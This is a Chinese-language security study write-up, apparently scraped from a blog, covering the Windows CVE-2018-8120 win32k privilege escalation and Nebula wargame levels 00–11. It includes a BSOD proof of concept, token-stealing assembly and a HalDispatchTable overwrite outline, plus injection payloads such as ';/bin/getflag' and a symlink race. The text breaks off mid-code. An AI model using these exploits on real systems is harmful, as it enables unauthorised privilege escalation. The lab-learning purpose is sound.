目錄php
在2018年5月,微軟官方公佈並修復了4個win32k內核提權的漏洞,其中的CVE-2018-8120內核提權漏洞是存在於win32k內核組件中的一個空指針引用漏洞,能夠經過空指針引用,對內核進行任意讀寫,進而執行任意代碼,以達到內核提權的目的。html
該漏洞的觸發點就是窗口站tagWINDOWSTATON對象的指針成員域spklList指向的多是空地址,若是同時該窗口站關聯當前進程,那麼調用系統服務函數NtUserSetImeInfoEx設置輸入法擴展信息時,會間接調用SetImeInfoEx函數訪問spklList指針指向的位於用戶進程地址空間的零頁內存。python
若是當前進程的零頁內存未被映射(事實上零頁內存正常是不會被映射的),函數SetImeInfoEx的訪問操做將引起缺頁異常,致使系統BSOD;一樣,若是當前進程的零頁內存被提早映射成咱們精心構造的數據,則有可能惡意利用,形成任意代碼執行的漏洞。linux
說明:Windbg是Microsoft公司免費調試器調試集合中的GUI的調試器,支持Source和Assembly兩種模式的調試。Windbg不只能夠調試應用程序,還能夠進行Kernel Debug。git
該工具使得咱們能夠本地調試windows系統的內核,可是,本地調試內核模式不能使用執行命令、斷點命令和堆棧跟蹤命令等命令github
一、使用管理員身份打開cmd,執行bcdedit /debug on
, 開啓調試模式web
二、使用管理員權限打開windbg(必定是管理員權限,否則不起做用),而後依次選擇File->Kernel Debugging->Local->肯定
正則表達式
三、通過上面的設置基本就能夠進行相關本地內核調試算法
在windows操做系統中,系統服務(系統內核函數)分爲兩種:一種是經常使用的系統服務,實如今內核文件;另外一種是與圖形顯示及用戶界面相關的系統服務,實如今win32k.sys文件中。shell
所有的系統服務在系統運行期間都儲存在系統的內存區,系統使用兩個系統服務地址表KiServiceTable和Win32pServiceTable管理這些系統服務,同時設置兩個系統服務描述表(SDT)管理系統服務地址表,這兩個系統服務描述表ServiceDescriptorTable(SSDT)
和 ServiceDescriptorTableShadow(SSDTShadow)
其中,前者只包含KiServiceTable表,後者包含KiServiceTable和Win32pServiceTable兩個表,並且SDDT是能夠直接調用訪問的,SSDTShadow不能夠直接調用訪問。
SDT對象的結構體以下:
typedef struct _KSYSTEM_SERVICE_TABLE { PULONG ServiceTableBase; // 系統服務地址表地址 PULONG ServiceCounterTableBase; PULONG NumberOfService; // 服務函數的個數 ULONG ParamTableBase; // 該系統服務的參數表 } KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
經過windbg本地內核調試查看相關係統服務描述表實際結構分佈:
分析:圖中顯示的是SDDT表和SSDTShadow表中的結構,每一個表中的兩行分別表示系統服務地址表KiServiceTable表和Win32pServiceTable表的相關數據信息。由於上面的是SSDT表,不包含Win32pServiceTable表,因此第一個表中第二行數據爲空。
結合上面的結構體能夠看出,KiServiceTable的地址是0x83cbfd9c
,包含0x191個系統服務;Win32pServiceTable的地址是0x92696000
,包含0x339個系統服務。
再查看系統服務地址表存儲具體的內容:
分析:能夠看出系統服務地址表中存儲的都是四個字節的函數指針,這些指針指向的就是後面對應的系統服務函數
窗口站是和當前進程和會話(session)相關聯的一個內核對象,它包含剪貼板(clipboard)、原子表、一個或多個桌面(desktop)對象等。
經過windbg來查看窗口站對象在內核中的結構體實例:
分析:上圖就是窗口站tagWINDOWSTATION的結構體的定義,其中在偏移0x14
處的spklList指針指向關聯的鍵盤佈局tagKL對象鏈表首節點
查看鍵盤佈局的結構體定義
分析:鍵盤佈局tagKL結構體中在偏移0x2c
處的piiex指針指向關聯的輸入法擴展信息結構體對象,這也是SetImeInfoEx函數內存拷貝的目標地址。
當用戶進程調用CreateWindowStation函數等相關函數建立新的窗口站時,最終會調用內核函數xxxCreateWindowStation執行窗口站的建立,可是在該函數執行期間,被建立的新窗口站實例的spklList指針並無被初始化,指向的是空地址。
## 分析SetImeInfoEx函數
說明: 函數SetImeInfoEx
是一個win32k組件中的內核函數,主要負責將輸入法擴展信息tagIMEINFOEX對象拷貝到目標鍵盤佈局tagKL對象的結構體指針piiex指向的輸入法信息對象的緩衝區。
IDA加載win32k.sys組件並手動載入符號表
File-->loadfile-->pdbfile
,而後點擊彈出窗口的OK選項Ctrl+F
查找SetImeInfoEx函數,並使用F5反編譯出函數的僞代碼分析:從上面的僞代碼中能夠看出,函數SetImeInfoEx首先從參數a1指向的窗口站對象中獲取spklList指針(a1是窗口站地址指針,偏移0x14就是spklList指針),也就是指向鍵盤佈局鏈表tagKL首節點地址的指針;而後函數從首節點開始遍歷鍵盤佈局對象鏈表,直到節點對象的pklNext成員指回到首節點對象爲止,函數判斷每一個被遍歷的節點對象的hkl成員是否與源輸入法擴展信息對象的hkl成員相等;接下來函數判斷目標鍵盤佈局對象的piiex成員(偏移0x2c)是否爲空,且成員變量 fLoadFlag(偏移0x48) 值是否爲 FALSE,若是上述兩個條件成立,則把源輸入法擴展信息對象的數據拷貝到目標鍵盤佈局對象的piiex成員中。
把這段僞代碼變得更易讀一下~
BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx) { [...] if ( winSta ) { pkl = winSta->spklList; while ( pkl->hkl != imeInfoEx->hkl ) { pkl = pkl->pklNext; if ( pkl == winSta->spklList ) return 0; } piiex = pkl->piiex; if ( !piiex ) return 0; if ( !piiex->fLoadFlag ) qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX)); bReturn = 1; } return bReturn; }
至此咱們能夠看出程序的漏洞:在遍歷鍵盤佈局對象鏈表 spklList 的時候並無判斷 spklList 地址是否爲 NULL,假設此時 spklList 爲空的話,接下來對 spklList 訪問的時候將觸發訪問異常,致使系統 BSOD 的發生。
從以前的分析中,咱們知道觸發漏洞的條件是要將spklList指針指向空地址的窗口站關聯到進程中。
具體實現就是先經過接口函數CreateWindowStation建立一個窗口站,而後調用NtUserSetImeInfoEx函數關聯該窗口站和進程(NtUserSetImeInfoEx系統服務函數會調用SetImeInfoEx);由於NtUserSetImeInfoEx函數未導出,因此須要使用Malware Defender來hook獲得序列號,再經過序列號計算出服務號
運行Malware Defender,選擇鉤子-->Win32k服務表,查看系統服務序列號
分析:NtUserSetImeInfoEx的系統服務號 = 0x1000+0x226(550的16進制) = 0x1226 ,其中 0x1000表明調用SSDTShadow中第二個表項中的系統服務函數(第一個表項的系統服務函數爲0x0000)
使用windbg來查看SystemCallStub函數地址從而調用內核函數
Poc實現代碼:
#include <Windows.h> #include <stdio.h> __declspec(naked) void NtSetUserImeInfoEx(PVOID imeinfoex) { __asm { mov eax, 0x1226 //將NtUserSetImeInfoEx函數的服務號傳入eax中 mov edx, 0x7ffe0300 // 將SystemCallStub函數地址傳入edx中 call dword ptr[edx] //調用SystemCallStub函數 ret 0x04 } } int main() { HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0); //使用CreateWindowStation函數建立一個窗口站 SetProcessWindowStation(hSta); char ime[0x800]; NtSetUserImeInfoEx((PVOID)&ime); //調用NtUserSetImeInfoEx函數觸發漏洞,導致系統BSOD return 0; }
編譯運行,成功觸發漏洞,導致系統BSOD
0x00000000
到0x0000FFFF
的閉區間被稱爲空指針賦值分區,也就是咱們上面說的零頁內存,正常狀況下未被映射,強行對其訪問則會出現漏洞Poc的狀況,系統BOSD。NTSYSAPI NTSTATUS NTAPI ZwAllocateVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );
分析:將參數BaseAdress設置爲0時,並不能在零頁內存中分配空間,而是讓系統尋找第一個未使用的內存塊來分配使用。在AllocateType參數中有一個分配類型是MEM_TOP_DOWN,該類型表示內存分配從上向下分配內存。咱們能夠將參數BaseAddress指定爲一個低地址同時指定分配內存的大小參數RegionSize的值大於這個地址值,如參數BaseAddress爲1,參數RegionSize爲8192,這樣也就能成功分配,地址範圍就是 0xFFFFE001(-8191)到 1把0地址包含在內了,此時再去嘗試向 NULL指針執行的地址寫數據,程序就不會異常了。在32位 Windows系統中,可用的虛擬地址空間共計爲 2^32 字節(4 GB)。一般低地址的2GB用於用戶空間,高地址的2GB 用於系統內核空間,經過這種方式咱們發如今0地址分配內存的同時,也會在高地址(內核空間)分配內存。
分配零頁內存,建立並設置窗口站
每一個進程都在內核中都會有且僅有一個EPROCESS結構,其中EPROCESS結構中的Token字段記錄着這個進程的Token結構的地址,進程的不少與安全相關的信息是記錄在這個TOKEN結構中的,因此若是咱們想得到SYSTEM權限,就須要將擁有SYSTEM權限進程的Token字段的值找到,並賦值給咱們建立的程序進程中EPROCESS的Token字段。
第一步,找到擁有SYSTEM權限的進程的EPROCESS結構地址
在Ring0中,fs寄存器指向一個叫KPCR的數據結構,該結構體中偏移量爲0x120的地方是一個類型爲_KPRCB的成員PrcbData
結構體_KPRCB中偏移量爲0x004的地方存放着指向當前線程的_KTHREAD
經過查看_KTHREAD結構體和EPROCESS組成,咱們知道_KTHREAD.ApcState.Process指向的就是當前進程的EPROCESS,因此咱們獲取當前進程EPROCESS的彙編代碼能夠寫成
mov edx, 0x124; mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread mov edx, 0x50; mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process mov ecx, eax;// Copy current _EPROCESS structure
基於以上,咱們已經明白如何得到自身進程的EPROCESS結構了,進一步須要作的是得到System進程的EPROCESS~
查看EPROCESS的ActiveProcessLinks成員,它是一個_LIST_ENTRY結構,在windows系統中,每建立一個進程系統內核就會爲其建立一個EPROCESS,而後使EPROCESS.ActiveProcessLinks.Flink=上一個建立的進程的EPROCESS.ActiveProcessLinks.Flink的地址,而上一個建立進程的EPROCESS.ActiveProcessLinks.Blink=新建立進程的EPROCESS.ActiveProcessLinks.Flink的地址,構成了一個雙向鏈表。因此找到一個進程就能夠經過Flink和Blink遍歷所有進程EPROCESS了,因爲System進程是最早建立的進程之一,所以它必然在當前進程(咱們編寫的這個程序進程)以前,咱們能夠循環訪問Flink,判斷其PID是否爲4(EPROCESS的UniqueProcessId成員指向其所屬進程的PID)來判斷其是否爲SYSTEM進程
第二步,將SYSTEM進程的Token字段賦值給當前進程
分析:在NtQueryIntervalProfile中調用KeQueryIntervalProfile函數
分析:從圖中能夠看出KeQueryIntervalProfile函數調用一個在HalDispatchTable+0x4
處的指針,咱們能夠覆蓋該指針使其指向shellcode,那麼當調用NtQueryIntervalProfile時shellcode也就間接的能夠在內核層0運行
須要用到的是HalDispatchTable+0x4地址,那麼也就是須要找到HalDispatchTable的地址便可,咱們可利用另外一個未文檔化的函數——NtQuerySystemInformation,此函數可幫助用戶進程查詢內核以獲取有關OS和硬件狀態的信息,這個函數沒有導入庫,咱們須要使用GetModuleHandle和GetProcAddress在‘ntdll.dll‘的內存範圍內動態加載函數。
分析:
NT內核文件的名字會由於單處理器和多處理器以及不一樣位數的操做系統版本以及是否支持PAE(Physical Address Extension)而不一樣,因此須要編程獲取。
HalDispatchTable在內核中真正的地址須要使用加載模塊的基地址+HalDispatchTable在該模塊中的偏移來獲取的。咱們經過NtQuerySystemInformation獲取了nt模塊的基址kernelimageBase,經過計算用戶空間中HalDispatchTable的地址-用戶空間中nt模塊的地址能夠得到偏移。
GetBitmapBits
和SetBitmapBits
能夠對Bitmap內核對象中的pvScan0字段指向的內存地址進行讀寫操做,這樣就能夠經過pvScan0字段實現對任意內存的讀寫操做。1. 首先建立兩個Bitmap對象:gManger和個Worker;
建立一個Bitmap對象時,一個結構被附加到了進程PEB的GdiSharedHandleTable成員中, GdiSharedHandleTable是一個GDICELL結構體數組的指針 ,GDICELL結構的pKernelAddress成員指向BASEOBJECT(sizeof=0x10
)結構,BASEOBJECT結構後面的緊跟着SURFOBJ結構, SURFOBJ結構中偏移量爲0x20處即爲pvScan0字段
咱們能夠用如下方式找到Bitmap對象的內核地址
addr = PEB.GdiSharedHandleTable + (handle &0xffff) *sizeof(GDICELL) ;
經過以下代碼得到gManger.pvScan0和gWork.pvScan0的地址
2. 利用CVE-2018-8120的任意內存寫入漏洞,將gManger對象的pvScan0值修改爲gWorker對象的地址;
基本前文的漏洞分析,咱們知道SetImeInfoEx函數中若想執行qmemcpy,需跳過以下所示的while循環
while ( pkl->hkl != imeInfoEx->hkl ) { pkl = pkl->pklNext; if ( pkl == winSta->spklList ) return 0; }
所以須要設置pkl->hkl = imeInfoEx->hkl,就是在零頁地址位置僞造了一個和 tagIMEINFOEX 結構體 spklList 成員類型同樣的 tagKL 結構體,而後把它的 hkl 字段設置爲 wpv 的地址,以後再把 wpv 的地址放在 NtUserSetImeInfoEx 函數的參數 ime_info_ex 的第一個成員裏面;指定pkl->piiex等於gManger.pvScan0的地址,也就是指定qmemcpy目的地址,這樣執行qmemcpy以後,就能夠把gWorker.pvScan0的值賦給gManger.pvScan0
注意:qmemcpy拷貝了0x15c個字節,勢必會影響gManger.pvScan0以後的內存,後面調用Gdi32的 GetBitmapBits/SetBitmapBits 這兩個函數就會不成功,由於這兩個函數操做pvScan0的方式和SURFOBJ結構的 lDelta、iBitmapFormat、iType、fjBitmap 還有SURFACE結構的flags字段相關的,爲了不這個問題,咱們須要在構造的ime_info_ex中填上一些數值進行修復
3. gManger對象調用SetBitmapBits函數將gWorker對象的pvScan0的值覆蓋成HalDisptchTable+4的地址(HalDisptchTable表中對應偏移處存放着hal!HaliQuerySystemInformation() 函數指針);
4. gWorker調用GetBitmapBits函數獲取HalDispatchTable+4所指內存的值,也就是hal!HaliQuerySystemInformation() 函數指針,存儲起來;
5. gWork對象調用SetBitmapBits函數將HalDispatchTable+4處的函數指針覆蓋成shellcode函數指針;
6. 在用戶進程中調用系統API函數NtQuerySystemInformation,進而調用HalDisptchTable表中的hal!HaliQuerySystemInformation() 函數指針,也就是執行shellcode;
7. gWorker調用SetBitmapBits函數將HalDisptchTable+4的地址處的hal!HaliQuerySystemInformation() 函數指針還原,保證下面的運行不出錯;
打開cmd,進入Exp-CVE-2018-8120.exe所在的目錄並執行,引號內爲想要執行的命令
令牌的角色:訪問令牌主要負責描述進程或線程的安全上下文,包括關聯的用戶、組和特權。根據這些信息,Windows內核能夠對進程請求的特權操做作出訪問控制決策。令牌一般是內核對象而且與特定的進程或線程相關聯。在用戶空間中,它們由句柄(用戶識別碼/用戶名稱)惟一標識。
進程令牌:進程令牌分爲primary tokens (主令牌)和 impersonation tokens(模擬令牌)兩種,在windows中全部進程都有一個關聯的主令牌,其中規定了對應進程的特權,建立新進程時,子進程默認繼承父進程的主令牌。
線程令牌:Windows是一個多線程操做系統,一個進程至少擁有一個線程。默認狀況下,線程將在與父進程相同的安全上下文中運行primary tokens。然而,Windows引入了impersonation tokens,它容許線程在給定不一樣的訪問令牌的狀況下臨時模擬不一樣的安全上下文。此功能最多見的用途是使應用程序開發人員可以容許用Windows內核來處理大部分的訪問控制。好比,當FTP服務器做爲服務賬戶運行時,若是沒有模擬,服務器就必須將客戶端關聯的用戶名、組和文件、目錄的ACL(訪問控制表)進行對比後手動執行,模擬則容許這些工做在確保服務線程是在客戶端用戶賬戶的安全上下文中執行後交由Windows內核執行,這能夠看作windows下類型UNIX系統中setuid()函數。
安全級別
Token能夠有Anonymous 、Identify 、Impersonate 、Delegate四種不一樣的安全級別,其中Impersonate 和Delegate級別影響最大, Impersonate級別容許線程在本地系統上模擬令牌的安全上下文,但不容許使用該令牌訪問外部系統,而Delegate級別容許線程在任何系統上模擬令牌的安全上下文,由於它存儲相關的身份驗證憑證。
藍屏是Windows中用於提示嚴重的系統報錯的一種方式,藍屏一旦出現,Windows系統便宣了結止,只有從新啓動才能恢復到桌面環境,因此藍屏又稱爲藍屏終止(Blue Screen Of Death),簡稱BSOD
——《0day安全 軟件漏洞分析技術(第二版)》第21章 探索Ring0
Exploit-Exercises是一個Linux平臺下漏洞挖掘、分析的練習平臺,官方提供了三種不一樣級別的平臺,Nebula、Protostar和Fusion,分別是用來學習基礎提權、溢出和高級攻擊技術。
如何使用Nebula:
Nebula最高權限的帳戶是nebula,密碼也是nebula,若是某一關涉及到修改系統配置,那麼咱們能夠經過切換到nebula用戶來修改
每一Level都對應一個levelxx帳號,密碼與帳號名相同,在完成每一關的題目以前,須要用對應的帳號登陸系統,與該題目相關的內容存放在/home/flagxx中 的。好比:第一關帳號是level00,密碼level00,而後用這個帳號登陸到系統並進入/home/flag00,若是這關須要攻擊有漏洞的程序,那麼相應的程序放在此目錄中
使用命令su - levelxx
切換登陸帳號
每一關提權成功以後,須要執行/bin/getflag/,若是提權是成功的,會提示「You have successfully executed getflag on a target account」,不然提示「getflag is executing on a non-flag accont, this doesn't count」
題目
This level requires you to find a Set User ID program that will run as the 「flag00」 account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
解題思路:
一、根據題目提示,本關須要在系統中搜索一個設置SUID的程序,這個程序是以flag00身份運行的,所以使用find命令在根目錄下查找全部人和全部組都是flag00的文件
二、因爲當前用戶是level00,在進一些沒有權限進入的目錄進行搜索的時候,是會出錯的,而且Linux標準輸入、標準輸出和錯誤分別對應文件描述符0、1和 2,因此用參數2>/dev/null
將錯誤輸出到/dev/null這個空白設備裏
三、搜索完成後執行發現的程序
題目:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
源代碼
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
解題思路:
一、首先觀察該程序的執行效果,結果爲輸出and now what?
二、分析程序源代碼,咱們能夠看到程序調用setresuid()設置調用進程的真實用戶ID,有效用戶ID和保存的set-user-ID,調用setresgid()設置真正的GID,有效的GID和保存的set-group-ID;但上面這些並非重點,關鍵點在於system("/usr/bin/env echo and now what?")
,程序使用system函數執行指定的shell命令,而此處存在的漏洞在於echo是由env定位找到;由於env用來執行當前環境變量下的命令或者顯示當前的環境變量,也就是說env會依次遍歷$PATH中的路徑,執行第一次找到的echo命令,因此咱們只要修改$PATH,就能夠欺騙env,繼而使得代碼中的system執行咱們的命令。
三、因爲/tmp目錄對任何用戶都有完整的權限,所以咱們可使用命令ln -s /bin/getflag /tmp/echo
讓/tmp/echo連接到/bin/getflag上
四、使用命令export PATH=/tmp:$PATH
修改環境變量,將tmp路徑放在前面,這樣env會首先在/tmp下找到echo並執行
題目:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
源代碼
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
解題思路:
一、同理先觀察該程序的執行效果
二、分析源代碼,可看到buffer變量是通過asprintf拼接而成,而asprintf的第二個參數調用了getenv函數去得到環境變量USER的值(USER裏是當前登陸的用戶名),有了上一關的經驗,咱們不難想到能夠把USER變量替換成;/bin/getflag
,等因而在執行完echo語句後,緊接着就執行/bin/getflag了(執行多條命令用「;」隔開)
題目:
Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.
解題思路:
一、經過查看crontab設置,可知它每隔2分鐘執行/home/flag03目錄下的writable.sh
二、查看writable.sh中的內容
三、這段代碼的含義是:每執行一次writable.sh,writable.sh就自動執行writable.d裏的全部文件,以後再刪除這個腳本。經過ls -l
命令咱們能夠看到writable.d這個目錄任何人可讀可寫,因此只需將咱們想進行的操做寫進writable.d裏,等着它自動運行能夠了
四、在writable.d的目錄下建立一個run腳本,使用echo語句向run中寫入內容,並賦予run腳本777權限(可讀可寫可執行)
五、等待兩分鐘,咱們在/tmp目錄下發現5215zjj這個文件,說明writable.d裏的run已經被自動執行
題目
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it
根據提示,咱們須要讀取token,但目前權限阻止咱們讀取代碼,所以須要找到方法繞過限制
解題思路:
一、使用ls -l
命令查看token的權限爲-rw-------
,所屬用戶是flag04,也就是除root權限外,只有flag04這個用戶能夠對它進行讀取操做,同一目錄下另外一個程序flag04卻屬於用戶組flag04,所以咱們查看flag04的源代碼
flag04源代碼:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
二、咱們注意到程序的核心在於strstr函數,該函數從輸入的參數1中尋找「token」第一次出現的位置,返回指向第一次出現「token」位置的指針,若是沒有找到則返回null。所以,只要咱們保證文件名裏不包含「token」字符串,就能夠繞過這個限制,繼續執行程序中的open操做。
三、參照前面關卡中用到的軟鏈接,將token鏈接到/tmp/level04下,而後執行程序flag04時後面的參數設爲新建的/tmp/level04,讀出的token就是flag04這個帳號的密碼,切換登陸帳號並執行/bin/getflag
題目
Check the flag05 home directory. You are looking for weak directory permissions
根據提示咱們須要找到一個弱權限的目錄,而後經過它來提權
解題思路:
一、使用ls -al
命令,列出目錄/home/flag05下全部文件權限
二、能夠看到這裏有兩個比較重要的文件,分別是.backup和.ssh,可是level05這個帳號對.ssh的權限不夠,因此咱們先進入.backup文件查看;.backup裏有個壓縮文件,咱們解壓到/tmp中查看(由於沒有寫入權限,因此不可解壓到當前目錄)
三、解壓後發現裏面的內容是ssh的備份,包含用戶的公私鑰;所以拷貝該ssh目錄到當前用戶下,使用ssh [-l login_name] [-p port] [user@]hostname
登陸flag05帳戶
四、登陸成功後,執行/bin/getflag
便可過關~
題目
The flag06 account credentials came from a legacy unix system.
解題思路:
一、unix的帳戶系統中,用戶名和密碼密文都是放在/etc/passwd文件中的,而linux系統中的用戶名放在/etc/passwd,而密碼則在/etc/shadow中
二、讀取/etc/passwd裏flag06帳戶的密碼密文
三、使用kali中自帶的破解工具john解密該段密文,獲得密碼明文爲hello
,登陸flag06帳號,通關成功~
題目
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
解題思路:
一、flag06文件夾下index.cgi和thttpd.conf兩個文件,查看配置文件thttpd.conf看到顯示開放的端口號是7007
二、分析index.cgi文件源代碼
#!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
這段代碼調用外部Ping命令@output = `ping -c 3 $host 2>&1`;
去發送3個數據包給目的ip,ip是經過$host = $_[0];
得到,最後一行代碼ping(param("Host"));
決定參數Host首字母是大寫,最後程序會把ping的結果返回到客戶端的瀏覽器中;
這段Perl腳本的漏洞出如今代碼@output = `ping -c 3 $host 2>&1`;
中,此處出現了可執行任意文件漏洞,由於在Perl中「(Tab鍵上的那個鍵)」符號之間的內容是調用的外部命令。
三、咱們能夠利用這個漏洞在輸入主機參數的同時,用;
再接上咱們想執行的提權指令,在執行該操做前,先使用wget http://localhost:7007/index.cgi?Host=127.0.0.1%3Bwhoami
確認cgi程序的權限
四、上圖咱們能夠看到顯示結果中的最後行多出個「flag07」,說明當前程序是以flag07身份執行的,接着咱們即可以輸入wget http://localhost:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag
命令通關啦~
題目
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
解題思路
一、使用level8帳戶登陸後,進入/home/flag08
文件夾下看到裏面只有一個名爲capture.pcap的數據包,顯而易見,咱們須要使用wireshark對這個數據包進行分析。許多教程都是使用kali的sftp功能轉移數據包,而我由於配很差練習環境的ip地址,最終經過參考教程使用掛載u盤的方式轉移數據包
二、使用wireshark打開這個抓包文件,能夠看到所有是TCP協議的數據包,任選一個數據包,右鍵->跟蹤流->TCP流
三、咱們能夠看出這個包是關於交互式登陸的,接着使用Hex dump方式看password字段
四、查詢ASCII碼錶,可知知7f是del(刪除)的ASCII碼,od是回車符的ASCII碼,用戶輸入密碼的過程可理解爲:輸入backdoor後刪除了三個字符,而後接着輸入00Rm8又刪除了一個字符,最後輸入ate並摁下回車鍵,所以正確的密碼應爲backd00Rmate
五、使用用戶名flag08
,密碼backd00Rmate
登陸帳戶,執行/bin/getflag
通關成功
題目
There’s a C setuid wrapper for some vulnerable PHP code…
souse code
<?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
解題思路
一、首先了解下preg_replace()函數的功能
二、分析題目中的PHP代碼,可知這段程序讓咱們傳入文件名做爲參數,而後經過命令$contents = file_get_contents($filename);
獲取文件內容,並將文件內容中的「.」替換成「dot」,「@」替換成「AT」,在tmp目錄下建立一個文件zjj,驗證一下以上分析
三、此段代碼的漏洞在於$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
,在第一個參數後面加上了/e,啓用/e模式,意味着第二個參數會被做爲代碼執行,所以若第二個參數爲提權指令的話,咱們就能夠過關
四、修改/tmp/zjj文件中的內容爲[email "{${system(getflag)}}"]
並執行,通關成功~
題目
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
源代碼
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
解題思路
一、分析代碼,咱們能夠看出程序首先用access()函數判斷當前用戶是否有操做文件的權限,有的話則執行相關操做即上傳文件,不然就會輸出"You don't have access to <文件名> ",access()函數的具體詳細說明以下圖
二、繼續分析代碼,這段代碼創建了一個socket鏈接,鏈接到18211端口上,而後發送一個「banner」(內容是」.oO Oo.\n」),以後open指定的文件,若是打開成功,就把內容發送到創建的通訊鏈接中
三、這個程序的漏洞在於access()函數和open()函數是經過文件路徑名做爲參數的,而這個路徑多是一個連接文件。假設access一個/tmp/zjj文件,而在access操做以後、open操做以前,/tmp/zjj被替換成了一個指向其餘文件(如/etc/passwd)連接文件,,而且這個進程有對/etc/passwd操做的權限,那麼它最終所操做的並非真正的/tmp/zjj,而是/etc/passwd;基於以上,咱們有大體的攻擊思路:首先在本地監聽18211端口,而後讓flag10程序去access一個當前用戶有權限訪問的文件(/tmp/zjj),最後刪除掉/tmp/zjj,從新創建一個指向/home/flag10/token的連接文件
四、在終端1中用nc監聽18211端口,其中-k
參數表示在鏈接結束以後強制保持鏈接狀態
五、在終端2下(按Ctrl+Fn+Alt+F2切換),創建一個文件/tmp/zjj,再寫一個不斷創建軟連接的bash腳本jj,對此腳本加入可執行權限並執行
六、在終端3的/tmp目錄下創建腳本yy,對此腳本加入可執行權限並執行
七、返回終端1,查看nc收到的信息,獲得token即flag10的登陸密碼;登陸flag10帳號後,執行getflag便可過關~
題目
The /home/flag11/flag11 binary processes standard input and executes a shell command.
There are two ways of completing this level, you may wish to do both
源代碼
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, 